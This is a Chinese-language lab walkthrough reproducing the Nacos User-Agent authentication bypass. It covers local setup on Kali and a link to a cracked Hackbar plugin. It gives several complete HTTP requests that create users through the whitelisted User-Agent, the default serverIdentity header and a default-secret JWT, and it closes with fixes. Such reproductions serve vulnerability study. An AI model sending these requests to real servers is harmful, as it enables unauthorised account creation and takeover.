Nacos(官方网站:http://nacos.io)是一个易于使用的平台,旨在用于动态服务发现,配置和服务管理。它可以帮助您轻松构建云本机应用程序和微服务平台。
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
为什么会产生这个漏洞?
1.认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。
2.开发者原本意思是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
3.攻击者利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本 Nacos <= 2.0.0-ALPHA.1
在搭建环境前给大家演示一下
Hackbar插件破解版安装 及使用
以我们常用的火狐浏览器为例
这个是破解版的hackbar链接地址
https://github.com/fengwenhua/hackbar_crack
下载好 把xpi格式拖到火狐浏览器里面
点击添加即可
接下简单跟大家讲一下各个选项的作用
Load URL:将地址栏中的地址载入hackbar中。
Split URL:剪切地址
Execute:执行HackBar中的网址
Encyption: 常见的四种加密方式。如md5 sha-1 sha-256 rot13
Encoding :常见的编码方式。如base64 url编码 hex编码。
Sql:提供了我们在sql注入时,常用的一些sql语句。
Xss: 提供一些XSS攻击语句。
插件到此就安装完毕了 后面有需要提前安装上
接下来就是我们的Nacos权限认证绕过漏洞环境搭建了
本次使用nacos-server-2.0.0-ALPHA.1.zip
Nacos下载地址(github):
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
使用kali进行环境搭建
解压文件(这是zip包)
直接unzip解压即可
进入目录执行搭建命令
cd nacos/bin/
./startup.sh -m standalone
等待搭建成功:
接着访问http://ip:8848/nacos 默认账号是nacos 密码是nacos
搭建成功
接下来就是漏洞复现了
访问:http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
从上图可以发现,目前有一个用户nacos
使用我们刚才在火狐安装的插件hackbar
漏洞利用,访问 http://ip:8848/nacos/v1/auth/users
POST传参: username=ceshi&password=123
修改UA头为Nacos-Server
发送post请求,返回响应200,创建用户成功
接着我们访问第一个链接地址 看看现在存在几个用户
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
http://192.168.192.130:8848
:指明了要请求的目标IP地址和端口号;/nacos/v1/auth/users
:指明了要访问的Nacos API接口路径;pageNo=1&pageSize=9
:指定了分页查询条件。pageNo
:表示需要返回的页码,从 1 开始计数。例如,如果想要返回第 2 页的数据,则将pageNo
设置为 2。pageSize
:表示每一页的数据条数。例如,如果想要每页返回 20 条数据,则将pageSize
设置为 20。-
ceshi用户已经存在了 我们试着去登陆一下
-
这是一种复现方法
-
还有一种是用burp复现
这里简单复现一下吧
第一步访问http://ip:8848/nacos/v1/auth/users bp抓包发送至重发器
修改数据包
方式一:默认账号
输入 nacos/nacos 成功登陆后台
方式二:默认未授权
发送如下数据包,成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.xx.xxx:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
username=test02&password=test02
方式三:默认JWT-secret
1.在nacos/conf/application.properties中设置nacos.core.auth.enabled=true开启权限认证
2. 发送如下数据包成功创建用户
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.xx.xxx:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
username=test03&password=test03
方式四:默认头部
发送如下数据包,成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.xx.xxx:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31
username=test05&password=test05
方式五:低版本(nacos<1.4.1)默认白名单UA
1.在nacos/conf/application.properties中设置
nacos.core.auth.enable.userAgentAuthWhite=true开启白名单UA
2. 发送如下数据包成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.xx.xxx:8848
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
username=test04&password=test04
还有一种是这样的数据包 也可以成功创建用户
-
POST /nacos/v1/auth/users?username=111&password=111 HTTP/1.1
Host: 192.168.xx.xxx:8848
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
Content-Length: 17pageNo=1&pageSize=9
-
0x06 修复方式
1.升级至最新版本
2.删除默认配置中的下列选项,启动nacos时必须手动配置nacos.core.auth.server.identity.key
nacos.core.auth.server.identity.value
nacos.core.auth.plugin.nacos.token.secret.key